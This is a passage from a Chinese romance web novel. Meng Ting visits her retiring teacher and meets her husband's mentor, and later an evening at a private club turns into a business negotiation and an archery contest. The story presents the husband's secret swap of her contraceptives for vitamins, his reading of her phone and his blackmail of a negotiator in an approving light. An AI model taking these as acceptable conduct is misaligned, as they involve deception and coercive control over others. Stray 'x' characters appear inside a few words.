她们当中有的留在剧团演舞台剧,有的经营自媒体,还有的在剧组拍戏,已经算是小有名气的演员了。 像孟汀这种当年专业第一,却去国外读研的,还真的不多见。 大家叽叽喳x喳聊着近况。 一边是网剧讨论小组。 “还是步入社会,成长的速度快一些,我这个脾气,也是因为当时在学校时,老师保护的太好,给惯出来的。” 说这话的是孟汀上一届的学姐,叫杨柳,她性格直爽大方,明明是极甜美的长相,说起话来却总觉得下一秒就要仗剑走天涯了。 在学校时孟汀就很喜欢她,毕业后她成了专业的网剧演员,因为个性鲜明吸引了不少粉丝,但也为此遭了不少人的嫉妒。 这个圈子看实力,但更看背景。杨柳因为硬怼过一个流量女明星,吃了个大亏,这会儿正在给小她一届的师妹传输一些和圈内人交往的经验。 另一边是体制内小组,正在讨论各自参演的新舞剧。 大家聊想法聊构思,彼此非常有共鸣,说到兴之所至,还起身亲自做起示范,颇有种教学研讨的意思。 孟汀属于是两者都不沾边,两边都听了一会,便去厨房里帮着打下手了。 厨房面积不算大,岑老师坚持亲自下厨,只在旁边留了三个帮忙打下手的现任学生,孟汀走过去时其实已经没位置了,偏巧这个时候,岑老师手环上提示她吃药的声音响了。 岑老师因为正在处理虾线,不太好抽出手,便让孟汀去药柜那里帮忙取药。 “汀汀,你就在岛台下面的抽屉里找,里面有一个小格专门放药。” “有一个外文标注的白色药片,把那一板拿过来就行。” 听到老师要吃药,旁边的学妹立刻关心地询问:“老师最近有什么不舒服吗?” 岑佩笑了笑,解释道:“没什么大碍,就是这个月做了个全科体检,营养科的医生给开了些维生素补充剂。” 孟汀走到岛台旁,拉开抽屉,白色药片在一堆花花绿绿的胶囊中很显眼,很快就找到了。只是拿到手中的那一刻,她陷入一阵怔然。 这药片,无论是外形,大小,还是包装上的外文标注,都和她曾经吃过的那款避。孕。药一模一样。 她还以为触碰到了老师的隐私,连忙将手缩了回去,可是在她的再三翻找一下,再找不到另外的白色药片。 孟汀有些不好意思地开口:“老师,您确定是白色药片吗?” 岑老师的声音从厨房传来:“是啊,上面是俄文,这种复合的类型和计量国内不太好找,所以医生给开了款进口的。” 孟汀愣了愣,再次拿到手中看了眼,这才看到后面贴上去的中文标签。 ……确实真的只是维生素。 她帮老师接了杯水,带着药片茫然地走进厨房。 直到看着老师毫无顾虑地服下,她才彻底相信了。 低下的眉眼显出几分茫然,望着大理石地砖上折射出来的光,她想起很久之前的一件事。 沈玉桢去世的那天,她跟着警察回了她在滨城的家。 也是那一天,她才知道,原来人在濒临崩溃的边缘,原来更多的是茫然和平静。 她平静地跟着警察去医院,平静地处理文件,甚至平静地取回母亲的骨灰。 将近十年的岁月,像一条无形的长河,将这对本该亲密无间的母女划分开来。 孟汀站在这一头,踮起脚尖,却无论如何也看不到对岸。 她以为自己已经足够坚强,或者说,足够冷漠到接受这一切。 却在傍晚时分,在围在她身边的人离去,空荡的房间中,看到母亲前一天放在桌上上那板未喝完的白色药片时,彻底泪流满面。 后来很长的一段时间,她根本不能看到白色的药物。 那段时间她的体质也不太好,很多项体检指标都不达标,维生素也好,激素也罢,医生开什么她丢什么,甚至因为这个毛病,差点因为高烧进了急诊。 后来,能克服这种心理,是因为那次他没有戴。套,在这种巨大的危机之下,孟汀只能下定决心,吃下望公馆中备好的避。孕。药。 现在想来,应该叫维生素才对。 所以……她一直吃的都是维生素? 可是为什么,在很多次意外之下,她都能安然无恙? 只是因为幸运吗? “孟汀?”一道低沉的声音在耳边唤道,将她从回忆中拉了回来。 孟汀眨了眨眼,视线再次聚集。 眼前站着的,竟然是从前和他一起参加过校园讲座的沈潭山。 孟汀回神过来,笑着朝他打了个招呼:“沈学长。” 对方笑了笑,却道:“想必你也把我认成我的哥哥,沈潭山了吧?” 孟汀一怔,细细打量了他一眼。 她只见过沈潭山一面,印象中的沈潭山,身材修长,五官分明,面容清隽,整个人都带着一种独特的松弛感。 而眼前的这位的特征,基本都能对得上,但若是细看……似乎确实和记忆中不太同。 比起沈潭山,他似乎更高更瘦了些,眉眼也更加柔和些。 感受到孟汀的打量,他笑了笑,递过来一张名片:“我是沈潭山的双胞胎弟弟,沈潭清。” “在路上堵车了一会儿,所以来迟了,刚刚大家自我介绍的时候也就没在。” 孟汀露出一个恍然大悟的表情,接过名帖之后,礼貌地看了下上面的内容。 等到将前后都看完了,才抬起头,对他道:“所以你和你哥哥一样,也是导演?” 沈潭清微微颔首:“我哥哥拍纪录片,喜欢搞情怀那一套,我和他完全相反,拍摄的都是市场化程度比较高的。” 孟汀眉眼一弯,一语戳穿他:“您是拍短剧的吧?” 听孟汀这么直接的话,沈潭清丝毫没介意,反而哈哈大笑:“难怪我哥哥对你评价那么高,孟汀,你真的是个很有趣的姑娘。” 孟汀又问:“那你和岑老师……” 按理来说,他一个导演系的学生,不该和舞蹈系的老师认识才对。 沈潭清解释:“这些年岑老师给我们剧组介绍了不少优秀演员,帮我们渡过了许多危机,老师的退休宴,自然要过来。” 孟汀点了点头。 沈潭清注视着她,眼神中,比起刚才的闲散,多了几分认真:“听说你在国外留学,之后还是回国发展吧?” 孟汀点了下头。 她出国一方面是长见识,另外一方面是为了孟云溪的手术,等着一切结束,肯定还是要回来的。 沈潭清继续道:“我看过你拍的那个纪录片,镜头感非常好,你已经从剧院出来,应该不会再进体制内了吧?考不考虑往荧幕方向发展?” “不是我夸张,等你结束学习回国,递给橄榄枝的,绝对不是我一个。”他笑了一下,“所以我想占个先,拥有一点悠闲选择权,这样总可以吧?” 孟汀没想到沈潭清这么真诚,刚好岑老师也走了过来,拍了拍他的背,笑着同孟汀道:“又在挖我的好苗子了?” “我这一亩三分地,都快被你们剧团给挖完了。” 这会儿厨房的事情已经处理的差不多了,有位师兄在掌厨炒小酥肉,喷香的味道扑面而来,还有几道主菜在蒸锅里,揭下就能直接吃了。 沈潭清立刻挂上那种尊师重道的笑:“您的地虽小,但肥沃,丰盈,说是天府之国也不为过。” 他声调比常人低些,语气也淡,说起这种话,丝毫没有恭维的尴尬感,透着真诚。 “你这个导演,当得越发有经验了,”岑佩被逗笑,热情地拍了拍他,又把目光转向孟汀,“虽然我不看短剧,但是也不排斥年轻人尝试新赛道,时代发展的太快了,有些机会错过了就只剩下遗憾了。” “我不经常给学生推荐剧组,但是沈导的人品我放心,若是小孟你想往这方面发展,可以去他的剧组试试。” 岑老师到底也在社会上游历了这么多年,阅人无数,经验丰富,她不走酒桌人情那一套,要实力有实力,要人品有人品,物以类聚人以群分,她能看上的人,想必人品确实不差。 孟汀诚恳地点了下头,“岑老师,我会考虑的。” 岑佩看着孟汀,眼里浮现浅淡的笑意。 其实她们两人的缘分不只是大三她代班当班主任那年开始的,那年附中的评审委员,她就是主席。 当年她就对孟汀印象深刻。 不仅仅是因为她的实力,更是她身上那种纯真的气质。 追求艺术的人,往往需要一种常人没有的气节。 懂得这个社会的规则是最基本的,但更重要的,是超越规则。只有超越了这些世俗,才能遵从本心,打磨出最纯真的作品。 有的人是后天培养,有的人则是与生俱来。 岑佩一见x到孟汀,就把她划分到与生俱来那个分类当中。她以为孟汀家境很好,不说长辈千宠万爱,自小也该是被保护得很好,后来当了她班主任,才知道她父母竟然早早亡故了,感慨之余,又觉得这个小姑娘很不容易。 这边聊完,那边的学长的几个硬菜也炒出来了,大家热闹热闹闹地开了两桌,敬酒吃饭,回忆往昔,两个小时一晃而过。 收拾完残局,已经快下午四点,虽然还有不少话没说完,但考虑到老师要休息,大家都也陆续告别了。 岑老师盛情挽留了一会儿,偏偏她的先生打电话过来,询问她有没有结束。 夫妻两人感情一直很好,都一把年纪了,说起话来也都没大没小的。 岑佩:“怎么着,让你在外面玩一天还累着你了?这么着急赶我的客人?” 那边:“我哪儿敢赶您那些栋梁之材啊,实在是因为我也有个栋梁之材回国来了,要来拜访我,才贸然打了个这个电话。” 岑佩冷哼了声,身旁听到她这傲娇语气的学生都笑了。 “这小子不好约,难得有时间,他那个狗脾气,也不用专门准备些什么,把地方腾出来就行了。” 对方这话指向模糊,岑佩却听懂了,语气由刚刚的嫌弃转变为惊喜:“他有时间了?真是不容易啊……” 有岑老师的这句话,大家起身的速度更快了。孟汀听了一耳朵,眉心处不自然地跳了下,心中总有种隐隐的熟稔感。 挂掉电话后,岑佩拿着自己家里晒好的陈皮,蒲公英,龙眼肉等,给大家当礼物,硬生生地塞进每个拒绝的人的怀里。 孟汀忙着推辞呢,沈潭清的车刚好驶了过来,“你没开车吧,我载你一程。” 岑老师刚好也道:“你可得把小孟好好送到家。” 孟汀不上也得上了。 他开了一辆挺宽敞的SUV轿车,坐上后座之后,她忍不住想,自己上次好像也搭过他哥的车,在这儿方面,和两兄弟还是很有缘分的。 但是上一次回去之后…… 孟汀心颤一下。 她不自觉的往后靠了靠,想让自己的视野宽阔些。 车子驶出小区大门,与此同时,一辆黑色的库里南迎面驶过来,几乎和她这辆车擦边而过。 孟汀几乎是下意识地抬起了头,接着,毫无防备地对面车窗里的那位四目相对。 手机“嘀”地一声发出提示声。 【下来】《 》 50-60 第51章 孟汀抓着手机的手几乎都要颤抖了,沈潭清却不知道在和保安大叔聊什么,愣是硬控了一分钟。 孟汀收回视线,稳下心神,他回了条消息:【有什么事吗?】 谢砚京:【跟我去见王老师】 孟汀:“……” 她奇怪的预感竟然成了真。 难道京市再找不到一个脾气比她更差的人了吗?对号入座精准到如此程度。 谢砚京:【王老师让我带家属过去】 孟汀:【不带会怎么样?】 谢砚京:【应该会被骂死】 孟汀:【……】 谢砚京:【我在大门口等你】 发完这句话,车那头,他完全扔下手机,慵懒闲散地往后一靠,甚至没看她一眼。 * 孟汀还是在不远处的公交站台下了车,理由是有亲人要接她过去聚餐。 沈潭清倒也没有勉强,不过临下车前,加了个她的联系方式,让她毕业后有机会联系他。 沈潭清的车几乎是一驶离,谢砚京的车就过来了。 她没什么情绪地跟着上了车,本来也不想看他的,但忽然想起他头上的伤,又忍不住偏头悄悄观察了一眼。 结果就是他毫无顾忌地直接转过来,让她看了个够。 孟汀:“……” “还差一点儿。” 大概因为是休息日,他今天没带帽子。 白色纱布比之前单薄了不少,盖在黑色的碎发下,倒也没有那么明显,阳光明晃晃地落在上面,他皮肤本来就白,现在莫名地添上了一抹破碎感。 孟汀挺了下脊背,收回目光,低声问:“我没想到岑老师的丈夫会是你的老师。” 谢砚京清清淡淡地“嗯”了声,又道,“他们两个工作和家庭分的比较开,工作时各自投入,生活里如胶似漆。” 没什么毛病的一句话,但孟汀的耳根莫名发烫。 她清了下嗓子,转移注意力:“他就是很严格的那位老师吗?” 虽然谢砚京从没有讲过,但到底她跟了他这么久,对他身边的人还算了解。 她知道谢砚京有位很很严苛的导师,师德高尚,德才兼备,早年一直活跃在政坛,年纪大了,看多了宦海沉浮,反而觉得无趣,在京大挂了个教授的职位,一心一意培养后生。 当年在政界时他就足够游刃有余,和这群学生打交道,更是将他们一个个治得服服帖帖,虽然大家表面谈他色变,但没有一个不被他的真才实学折服的。 作为谢砚京的导师,两人之间的情谊比旁人更深刻些。 只听谢砚京又清清淡淡的“嗯”了下,“当年教我们时政,班里挂科率百分之50。” 孟汀小声“啊”了下,有种回到过去被挂科支配的恐惧感。 相当于你和你的饭搭子有一个人要挂,这谁受得了。 虽然对王老先生有些畏惧,她也忍不住好奇,在这样严厉的老师面前,他还能像往日里那样淡定和强势吗? 她还从没见他在谁面前低过头,今天倒是个不错的机会。 沉思之间,两人已经步入了小区。 再次回来,孟汀说不尴尬是不可能的,就在她思考该如何同岑老师解释这个事情时,一个清浅的力道忽然扣住她的腰线。 两个人之间的距离也因此变得更紧了些。 馥郁的冷香铺面而来,像是雪后的松林,萦绕在她身侧,莫名地让她本来提起的心安定下来。 王老先生亲自在门口迎接了他们。 他的形象和孟汀想象中差不多,马甲式的毛衣和衬衫,戴一副略显厚重的黑框眼镜,标准的国字脸,很像是出现在新闻上的采访对象。 远远看去,他面色十分严肃,颇有一种为人师气质。 孟汀心中正打鼓呢,却发现,随着距离走近,老先生脸色忽然变得和缓了不少,而和缓的原因似乎是……因为看到了她。 王老从不收学生送来的礼,就算是谢砚京,也没办法打破这个规则,但他今天也没有空手而来,而且他觉得,好像自己带来的这个人,比任何的礼物都要好使。 两人在大门口站定,谢砚京道:“王老师。” 孟汀也跟着喊了句“老师好”。 两人上次见面,已经是两年之前了,那次是一场学术论坛会后聚餐,尽管在同一个桌上吃了饭还敬了酒,但因为人多耳杂,并没有什么深入交流,等于是没见。加起来这么多年,风雨流转,对彼此的想念自不必说。 王老笑容满目地看了看孟汀,最后还是将目光落在谢砚京身上,他伸出手使劲指了指他,也不知道是在叹气,还是在笑,半晌之后,才终于来了句:“你小子啊!” 进入客厅的时候,岑老师刚好端着果盘过来,看到去而复返的孟汀,眸光中很明显诧异了下,孟汀脸色微红一下,刚准备解释呢,却见岑老师笑了下,已经是万分理解的表情。 四个人坐在客厅。 王老就坐在谢砚京的正对面,此刻又换上了那一副严肃的,公事公办的表情,问起他的现状来。 在这间隙,孟汀不留痕迹地观察着谢砚京。 让她失望的是,她来之前的期待好像落空了。 他完全没有她想象中对于老师的过分恭维,王老师严肃板正,谢砚京似乎比他还要严肃,但是严肃中又透着恰到好处的尊重,让人完全挑不出毛病。 孟汀真不知道他是怎么做到的。 不过她要是知道才真的怪了。 毕竟,这个世界上只有一个谢砚京。 走神之间,两人谈论的内容孟汀也渐渐听不懂了,但是听王老那意思,是他不该放弃原来那个位置,但是他也没有一味否决他的选择,更多的是讨论谢砚京之后的发展。 岑佩大概看孟汀听得茫然,她自己其实也听得有些累,平日里她们夫妻两人对各自的事业毫无兴趣,但她知道王老对这个学生的喜欢,也就兢兢业业地做陪衬,到这会儿终于坚持不住了,碰了碰孟汀的胳膊,“汀汀,我这有几个毕业舞台的作品有点问题,你帮我参考一下?” 她虽然办了正式的退休手续了,但是手上带着的几个学生六月份才毕业,x最后一班也要站好。 两人来到岑佩的书房。 聊起舞台上的事情,岑老师明显比刚刚兴致高昂了不少。两人先是聊了会儿今年毕业生的作品,但专业知识到底有限,最后的话题还是落在生活上。 岑佩一脸笑意地看着孟汀,笑道:“我没想到最后陪在他身边的会是你。” 这话孟汀不是第一次听,从前俞静之便说过,她的语气是嘲讽,是不可思议,是带着真正的恶意,但同样的一句话,从岑老师口中说出,竟让孟汀有种千帆过尽殊途同归的感觉。 孟汀看着她。 岑佩继续道:“阿砚是老王最喜欢的学生,别说他了,第一眼看他,我也喜欢。” 那年,谢砚京第一次跟着王老来她家,她甫一出房间门,便看到厅堂里面那个堂堂正正的身影。 二十多岁的少年,身高挺拔,肩膀宽阔,眼神漆黑,静静地站在那儿,如青松屹立。开口之后,无论是谈吐还是学识,都让人完全挑不出毛病。 后来,他毕业,工作,出国,王老师关注他,她也跟着关注,也算是看着他长大了。 “可是有的时候,过分优秀,也不是件好事,慧极必伤,一不小心就会剑走偏锋,也是这个缘由,比起工作上的成就,他老师更多的关心他的生活。”岑老师叹了口气,感慨道。 “之前倒是听说他领了证,但是从没见过他带人出来,你们老师还生怕两人是形婚。” “但现在看来,他还是很放心的。” 孟汀一时不知道该怎么回。 王老师和岑老师都是不作假的人,嬉笑怒骂全都写在脸上,难道在他们眼中,她和谢砚京也很般配吗? 话题都聊到这儿,孟汀自然不可能提两人快要离婚的事情,只能红着脸应和老师的话。 聊到一半,岑老师客气地去冰箱里拿酸奶,门开了一条小缝,穿堂的风将客厅里面的话隐隐约约送了过来。 两人聊的是谢砚京现在手上那几个大的跨国商业项目。 大部分时间都是王老师在说话。 准确的说,是在训话。 “工作方面我没话说,你按照自己的计划走,做你想做的事情,完成你想完成的理想,这都没有任何问题,就是你哪个臭脾气,要改改。” “让你读的那些书你读了吗?让你去佛寺静心你去静了吗?” “虽然我说过这世上很多事情坏就坏在和光同尘四个字上,但也不能都像你一样一点儿也不沾。” “别总是端着你那张八风不动的冷脸站着,很多时候你把别人当自己人,别人不把你当自己人,最后反而里外不是人。” “该往来的人情还是要往来。” 王老说了好半天,听上去就已经让人口干舌燥了,但谢砚京对此只回了淡淡的一句:“嗯。” 王老很不留情面地训斥着,虽然孟汀觉得对面的谢砚京并没有认真在听,但能让他做到这种程度,已经很不容易了,因此孟汀听得津津有味。 直到他来了一句,“我看你夫人的脾气就很好,多好的小姑娘,你多跟着人家学习。” 孟汀:“……” 怎么还能提到她? 但还没完。 只听他的下一句是:“你和你夫人的婚礼是不是还没办?到时候把能请到的人,都给请到了,听到了没有。” 这次,对面没有任何回应了。 第52章 后面两人聊了些什么,孟汀就再也听不清了。 她只是惊觉自己竟然从没想过婚礼这种事情,默默跟在他身后似乎已经成了某种约定俗成的事情。 时间不知不觉已经过了两个小时。 夜幕如墨般落了下来,谢砚京和孟汀婉拒了岑佩让他们留下用晚饭的邀请,一前一后出了门。 岑佩知道两人都是工作起来不要命的,临走之前,让他们两人在工作之余,不要忘了好好生活。 孟汀连声应是。 车子从别墅区大门驶出,孟汀的心也彻底放松了下来,靠着椅背歇了好一会儿,才疲惫地摸了下手机。 拜访老师之前,她把手机调了静音,也不知道有没有人发消息。 但她摸了又摸,直到抬起头—— 她的手机竟然在谢砚京手上! 男人低垂着眉眼,纤长指尖漫不经心地翻看着,屏幕上的光亮,覆在他利落而锋利的五官线条上,本就苍白的脸透出几分出尘的冷感。 孟汀气急败坏:“谢砚京!你干什么?!” 说着,她直接扑了过去,准备把手机抢回来。没想到这个时候车子来了个转弯,惯性的力量太大,她一时不稳,直接扑在了他的身上。 脸颊蹭过他那挺拔的鼻梁,皮肤触碰的瞬间,他身上的暖意也直落落的覆在她身上,惹得她连睫毛都颤抖。 时间短暂的停留了那么一秒,几乎是车子恢复直线行驶的瞬间,她就准备起身,没想到腰身曲线被一个力量紧紧箍住。 “想贴就多贴一会儿。”他哑着声,居高临下地看着她,笑得有些恶劣。 孟汀:“……” 果真,这个世界上就没有他达不成的造诣,厚脸皮也是。 “你放开!”孟汀鼓起勇气挣脱,另一只手不忘去抢自己的手机。 大概是他已经看到了他想要的东西,所以在孟汀的手覆过来时大度的松了手。 界面上,是沈潭清发来的消息,询问她回伦敦前有没有时间见一面,最近有个新本子,或许她会感兴趣。 孟汀根本没来得及看,谢砚京就已经帮她把消息发过去了:【不去】 沈潭清大概没想到孟汀拒绝的这么干脆,回复了一个呆滞的表情包。 时间早已经过了两分钟,也不能撤回,孟汀正苦思冥想着解释的话,耳边那个声音忽然道:“是刚刚准备载你回去的那个人?” 凉飕飕的语调,含了抹混劣。 “长成那样你也能相处的来,你还真是不挑。” 孟汀:“……” 沈潭清虽然颜值和眼前这位不能比,但他也绝对算不到差的类别上,只能和谢砚京不是同一类别。 谢砚京眉骨硬挺,五官凌厉,多年养成的教养让他看上去持礼端庄,温雅矜贵,但是稍微靠近一点儿,就能感受到他身上那种天然的攻击性。 沈潭清无论是五官还是谈话方式,都偏温和,而且他家庭情况不差,衣着审美也大方,工作多年的经历又给他赋予了成熟的魅力,往人群中一站,也算出挑了。 但经谢砚京嘴里这么一说,好像他是多么糟糕透顶的人一样。 “差不多行了。”孟汀冷着声音道。 谢砚京却没有丝毫要停下的意思,接二连三的话蹦出来:“那个身材,能比我让你舒服?” “看过他体检报告吗你就加联系方式,别到时候——” 孟汀没想到他竟然直接说起这个,几乎是忍无可忍地打断他:“我说差不多行了,首先他没有招惹你,你再不喜欢他,也犯不着这样侮辱人。” 李叔还在前面开车呢,他怎么能口不择言到这种地步。 孟汀虽然打断的很有气势,但是到底是被这混账话气到,心口扑通扑通地跳个不停,耳根却莫名的滚烫。 路程还长,和他争辩下去没有任何结果,孟汀干脆抿着唇,将头转到另一边,独自睡了过去。 谢砚京倒也识相,看她想休息,也没再打扰她,只是从身后的暗格里面翻出来条毛毯,给她整个人严严实实地盖上。 孟汀没理他。 车内很快安静下来。 寂静之中,她的思绪不经意的绕回在岑老师家中那一幕。 恍惚中,想起他骗她吃维生素的事情,又想起他和王老谈话那一幕,他对婚礼的事情未置一词。 虽然裹着毛毯,孟汀却依然觉得心口处有些发冷,只好往旁边更侧了侧,将自己全然埋在里面,和这个世界短暂隔离。 * 再次醒来,车子没有停在她小区门口,而是停在了一个高档会所的门前。 这一片都是民国时期留下的旧宅邸,入了夜,灯火绵延之间,宛若天上散落的星辰。 孟汀先是被这夜景吸引了一瞬,又在李叔将车子停稳后,气鼓鼓地看了谢砚京一眼:“这是什么地方?我不想去,我要回家。” 谢砚京不语,给了李叔个眼风,李叔一脸的尴尬,颇为犹豫地关掉了车内的暖风按钮。 车门打开的瞬间,冷风呼啸的x裹挟而入,她不想下车都不行了。 磨磨蹭蹭跟着谢砚京进了门,她才意识到,今晚这个局比自己想象中还要大一些。 朱门鎏金大门打开的瞬间,是一座流水穿过的小巧,桥后竹林飒飒,在青石板上落下斑驳倒影,暖黄色的地灯星罗棋布,指引着方向。 里面来来往往很多人,还有不少外国面孔,朦胧灯光间,衣香鬓影,璀璨夺目。 她今天穿的这身偏日常,虽然还算有设计感,但在这种场合,多少差了点意思,所以走进去时很自然地往他身后靠了靠,生怕给他丢了人。 没想到谢砚京竟然一点儿也没有在乎的意思,轻拽她的手腕将她整个人都扯到他身边。 这种场合,带女伴是常事,一路过去,不少人同谢砚京打招呼,看谢砚京没有要介绍孟汀的意思,也都董事地没有多问,对孟汀基本都是礼貌地颔首致意。 越往里面走,里面的全貌也渐渐展示在了她眼前。 她从前跟着谢砚京出席的场合都偏正式,里面的人或是政界名流,或是商场新贵,大部分人碍于身份,拘谨严肃,聚在一起也只是单纯的聊天,香槟端在手上,不是快意人生,而是为了体面。一场宴会下来,又无聊又耗费精力。 但今天这个私人会所,似乎不太一样。 不远处传来欢声笑语,显然娱乐的成分比较多。 起初孟汀以为大家玩的多是牌或麻将,但细看,发现这里的活动竟然还挺高雅,为了贴合整体古香古色的设计,里面各处设置的活动,竟然是投壶、射覆、射箭之类的传统活动。 一个金发碧眼的外国人走了过来,同谢砚京打了个招呼,孟汀注意到,谢砚京对他的回应略多些,显然,今日的主要交谈对象便是他了。 两人聊天的内容孟汀也听不懂,只能端坐在一旁看着别人玩投壶,然后又看着谢砚京和那人进入旁边的茶室。 今天的碰面,不是谢砚京工作上的事情,而是谢家生意上的事情。 他的一位旁系堂姐谢钰在海外的分公司出了点问题,因为关税问题被收购,收购方仗着在政商界的影响力,将价格压到一个所有人都无法接受的低点。 恰逢谢钰的公司的资金链出了问题,拿上这笔钱可解燃眉之急,但是开了这个先例,他们公司在日后的谈判桌上,便再无立足之地。 谈判桌上,强硬才会赢,软弱就会输,谢钰进退维谷,实在没办法了,才求助了谢砚京。 谢砚京本来不愿插手这样的事情,只因谢钰曾经帮了他一个不大不小的忙,他才答应出面。 茶室里,温暖如春。 滚烫的水浇出青翠的茶汤,一瞬间,香气满室。 对方派来谈判的主管叫Kerr,今年不过三十多岁,却已然一副成功人士的模样。 生意场上的人何其精明,早在来之前,他便全面了解了谢砚京的处事风格和兴趣。知道他对传统文化感兴趣,便约他到这个京市里独一无二的雅意会所。 但百闻不如一见,曾经荧幕上那个手段强硬的男人此刻就端坐在他面前,一切关于他的传闻也因此具象化了。 几乎是不受控制的,一杯茶被他亲自递到谢砚京面前。但正常来说,这样的谈判场合该是收购方的主场,而眼前的这个男人似乎让位次发生了天然的逆转。 谢砚京垂眸看了眼茶杯,倒是没拒绝,端起来抿了一小口。Kerr便知道,谈判差不多可以开始了。 生意场上无朋友,面对这样的人物,虽然态度诚恳,语气恭敬,实际上没有做出多少让步,谢砚京也自然是知道这一套的,所以全程听得漫不经心。 Kerr按照惯例,在最后递过来早就拟好的文件,请谢砚京过目。 对此谢砚京只是轻飘飘的一扫而过。 他不喜欢做这些无畏的表面功夫,因此,并未回话,只是从口袋里翻出一张照片,修长指尖慢慢推过去,将一角压在文件下,确保对方能看到全貌。 对方和他想象中的反应差不多。 原本平稳的眼眸里立刻沾染了一抹惊慌失措,脸色也飞快地变得苍白。 “谢先生,你——” 谢砚京则慢条斯理地从口袋中取出个烟盒。 油润清亮的顶级紫檀木,雕刻着细腻的远山近水,轻轻一推,便被顶出来一只。 银亮的火机点燃的瞬间,不像点了根烟,而像燃了支高级冷清的线香。 第53章 Kerr走出茶室时,脚步还是虚浮不稳的。 他根本没想到对方竟然会因为这点合同上的小事,将他的私人生活查了个底翻天。 他能走到今天的这一步,靠的一直是管理层妻子的扶持,但人心似水,男人的成功不可能不附带其他的便利。 比如说在情人这一块。 其实他已经很谨慎了,这么多年来,跟在身边的只有一位情人,他以为两人见面无论是地点还是时间,都已经足够保密,没想到还是被人抓住了漏洞。 缜密细致到如此地步,只是为了一个合同,足以见到他平日里的作风有多狠辣。 只是为了合同吗? 谢砚京不这么觉得。 Kerr仓皇离去之后,茶室里陷入一片长久的寂静。 他没什么情绪地靠在紫檀木倚上,指尖夹着一支烟,慢条斯理地抽到火光彻底燃尽,半张脸隐在淡淡散开的烟雾当中,薄唇勾起浅淡的弧度,意味不明的笑了下。 他今晚还是仁慈了。 在他看来,任何背叛婚姻的人,都该去死。 这样轻易的放他走,已是不得已的宽容大度。 淡淡的烟雾消散,他将指尖的最后一点儿火光碾灭,然后起身去了盥洗室。 她不喜欢香烟的味道,所以要处理干净。 就在谢砚京在盥洗室里洗脸更衣时,孟汀却找到了这个晚上真正属于自己的乐趣。 这一次也不是她主动,一切只是因为她看不下去。 一个不知道是哪位老板带来的新人女演员,被在场的另外几个女伴针对,非要就这她演过古装戏的经历,考较她投壶射箭的技艺。 这小姑娘大概是刚毕业,人际交往方面没什么经验,对于这种不合理的要求,没有回绝的能力和方式,只能硬着头皮上。 提议者有备而来,目的不过是为了打压新人气焰以达到心里满足,根本谈不上道理和公平,小姑娘势单力薄,这种场合下,也只有受委屈的份。 若只是嘲讽她的技术还好说,上升到人格和家庭,就让孟汀不适了。 “你的艺名叫蔚蓝,本名呢?不叫这个吧?” “不……不是。” “那你叫什么?说出来听听,好让我们帮你参考一下用本名还是艺名?” “就是就是,有的人艺名还不如本名好听。” 只见小姑娘纠结了半晌,终于抵不住众人审视的目光,很小声地道了句:“陈……招娣。” 这一句甫一出口,便引来一阵的嘲笑。 她本人更是不好意思到想要直接找个地缝给钻进去。 其实从小到大,名字都是她的一块心病。从前她被同龄的孩子嘲笑老土,近几年互联网普及,藏在名字之后重男轻女的遮羞布被扯开,更是她觉得无地自容,每次提起都尴尬到不知所措。 孟汀就是这个时候站出来的。 “我觉得本来的名字也很好听。”她从容地站起来,语气温和,却带着了种坚定。 她上前一步,询问蔚蓝:“你上头是不是还有兄弟姐妹?” 蔚蓝没想到她会这么问,下意识地就点了头。 孟汀心中松了口气,把准备好的第一个话术说出来:“年长者为姒,年幼者为娣,不过是个长幼秩序的称呼而已。” “而且我记得有一个很厉害的运动员就叫陈招娣,她带着这个名字,在奥运场上为国争光,所有人都为她欢呼喝彩,这个名字很厉害。” 蔚蓝怔了怔,完全不知道该如何回应了,孟汀这时候又说,愿意和她组队,和另一旁的四个女生比射箭。 那几位女伴对突然冒出来的孟汀有些惊讶,但看她无论是样貌还是气质,都不像普通人,想来背景也不一般,所以也不敢轻易得罪,毫无异议地接受了。 射箭拉弓看的是臂力和准头,这样纤弱单薄的一个女孩,平日里怕是拎个行李箱都费劲,所以能答应,也抱了种看热闹的目的。 她们就不x信她能厉害到什么程度。 谁知,一切似乎和想象中完全不同。 谢砚京走过来看到的便是这样一幕。 头顶上璀璨灯火落下,在她面容上铺上一层光,本就白皙的面若宛如琉璃般明艳美丽。 她身姿利落地拉开弓,双臂流畅地展成一条直线,虽然纤细单薄,但却显示出一种蓬勃的力量,鬓前碎发轻轻扫过耳畔,因为发力,双颊轻轻鼓起,微眯的眼眸像是天上那轮弯弯的月亮。 屏足呼吸后,毫无负担地放了弓,剪头笔直而快速地飞射出去,正好落在红心处的位置。 但这也只是一箭而已,存在蒙中的嫌疑。 接下来才是她实力的象征。 她竟然一口气不停歇地连射三箭,完成技法上的连珠箭,直接反超对方一倍的积分。 这一下,不论是旁边记分的工作人员,还是围过来的看客,都发出了惊叹声,完全颠覆了所有人先入为主认为孟汀不行的想法。 人群身后的阴影里,谢砚京长腿微屈着,环胸抱臂地慵懒侧靠着墙,看的饶有兴致。 此刻的他换了件黑色的衬衣,灯光清落落地洒下,依稀可以看到臂弯处肌肉线条撑起的痕迹,烟草的气息早已散尽,此刻他完全干净。 射箭确实是他曾经教给她的,那年舞蹈大赛前她受伤住院,出来之后她总觉得肌肉发力的方式不太对,谢砚京便想了这个办法,教她射箭的同时,辅助恢复。 其实不止是射箭,旁边的投壶,还是类似于高尔夫的锤丸,他也一并教了,现场要是比赛那几样,孟汀应该也是完胜。 阴影里的男人唇角浅淡地勾了下,注视着大家对她投去或羡慕,或钦佩的目光。 一切本该如此。 他想。 他们家孟汀,就该亮堂堂地站在人群当中,被人羡慕,受人仰望,接受欢呼。 但此刻,孟汀的想法和谢砚京完全相反。 她今天站出来,并不是逞能,也没想成为焦点,只是因为她知道一个人是多么无助,所以想拉小姑娘一把。 女生本就立世艰难,还因此互相攻击取笑,挺没意思的。 所以,接下来,她又附在小姑娘耳边,传授了些技巧。 很多时候技巧就是一两句话的事情,虽然不说能立刻将人提高到怎样的高度,但比总比毫无经验要好很多。 有了孟汀的底气,蔚蓝的发挥也比之前好了不知多少,甚至有一箭还射出了十环的好成绩。 围观的人逐渐多了起来,那几个女伴也被迫收敛,都是在声色场里多年的人,察言观色的水平一流,她们敢看不起蔚蓝,却不敢轻易招惹孟汀,此刻输了比赛,输了脸面,却也只是陪着笑脸插科打诨几句,然后识趣地离开。 没了她们的为难,蔚蓝彻底松了口气,想要同孟汀说声谢谢时,却发现她已经默默地离开。 孟汀没有不告而别的意思,只是因为……她在人群中看到了谢砚京。 她的技术,和那几个女生一比绰绰有余,但和谢砚京比起来,说是丢人也不为过。 因此孟汀急匆匆地跑进了盥洗室。 